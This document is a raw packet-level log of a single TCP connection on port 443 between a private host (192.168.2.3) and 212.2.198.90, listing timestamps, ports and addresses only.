Jun 30, 2021 20:06:08.127352953 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.127362967 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.127377987 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.127379894 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.127402067 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.127402067 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.127427101 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.127440929 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.127466917 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.127469063 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.127485991 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.127489090 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.127506971 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.127532005 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.127532005 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.127554893 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.127577066 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.127610922 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.127659082 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.127702951 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.127708912 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.127747059 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.127763033 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.127779961 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.127804995 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.127813101 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.127827883 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.127830982 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.127850056 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.127854109 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.127872944 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.127880096 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.127897024 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.127911091 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.127929926 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.127932072 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.127945900 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.127955914 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.127974033 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.127978086 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.128001928 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.128005028 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.128026009 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.128026009 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.128051043 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.128066063 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.128066063 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.128092051 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.128109932 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.128113985 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.128137112 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.128139019 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.128156900 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.128158092 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.128175974 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.128180027 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.128192902 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.128201008 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.128221035 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.128221989 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.128236055 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.128242970 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.128262043 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.128268003 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.128282070 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.128292084 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.128312111 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.128314018 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.128334045 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.128335953 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.128355026 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.128357887 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.128375053 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.128376961 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.128398895 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.128401995 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.128420115 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.128422022 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.128441095 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.128447056 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.128457069 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.128492117 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200153112 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200208902 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200217009 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200242043 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200253010 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200264931 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200282097 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200289011 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200315952 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200324059 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200340033 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200341940 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200364113 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200386047 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200386047 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200392962 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200411081 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200417042 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200438023 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200440884 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200452089 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200459957 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200475931 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200498104 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200498104 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200520039 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200532913 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200541973 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200565100 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200565100 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200587988 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200598955 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200614929 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200628996 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200639009 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200659037 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200661898 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200685024 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200687885 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200707912 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200711012 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200730085 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200731039 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200752020 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200756073 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200772047 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200779915 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200793982 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200803041 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200814962 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200826883 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200843096 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200850010 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200869083 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200886011 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200910091 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200913906 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200928926 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200938940 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.200947046 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200967073 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.200985909 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201005936 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201024055 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201044083 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201057911 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201070070 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201086044 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201091051 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201107025 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201119900 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201132059 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201143980 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201153994 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201167107 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201174974 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201190948 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201199055 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201215029 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201222897 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201240063 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201241016 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201258898 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201265097 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201287031 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201292038 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201311111 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201314926 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201335907 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201335907 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201354980 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201359034 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201381922 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201405048 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201427937 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201431990 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201436043 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201440096 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201448917 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201451063 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201469898 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201473951 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201493025 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201494932 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201509953 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201517105 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201539993 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201543093 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201560974 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201564074 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201587915 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201589108 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201605082 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201613903 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201628923 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201637983 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201657057 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201661110 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201678991 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201694965 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201715946 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201719999 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201738119 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201744080 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201773882 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201795101 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201802969 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201811075 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201821089 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201822042 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201839924 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201855898 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201863050 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201888084 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201910019 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201921940 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201931953 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201947927 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.201956034 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201977968 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.201986074 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202003956 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202008963 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202028036 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202033043 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202049017 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202058077 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202070951 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202080965 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202092886 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202102900 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202117920 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202124119 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202142000 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202155113 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202163935 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202191114 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202191114 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202210903 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202212095 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202229977 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202245951 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202254057 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202276945 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202280998 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202300072 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202310085 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202322006 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202330112 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202341080 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202352047 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202364922 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202370882 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202388048 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202389002 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202411890 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202414036 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202429056 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202438116 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202455044 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202459097 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202478886 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202482939 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202503920 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202506065 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202523947 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202528000 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202549934 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202549934 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202573061 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.202574015 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202591896 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.202626944 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.271955967 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.271995068 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272022009 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272049904 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272056103 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272073030 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272088051 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272092104 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272114038 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272116899 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272142887 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272150040 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272172928 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272175074 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272202969 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272208929 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272222996 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272237062 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272258043 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272274017 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272278070 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272303104 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272334099 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272335052 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272352934 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272363901 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272373915 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272391081 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272409916 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272418976 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272438049 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272449017 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272468090 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272476912 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272496939 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272522926 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272526979 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272532940 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272552013 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272567987 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272583961 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272600889 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272617102 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272639990 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272659063 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272727013 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272735119 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272749901 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272774935 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272800922 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272809029 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272834063 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272835970 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272857904 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272866011 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272880077 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.272895098 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.272913933 CEST	49720	443	192.168.2.3	212.2.198.90
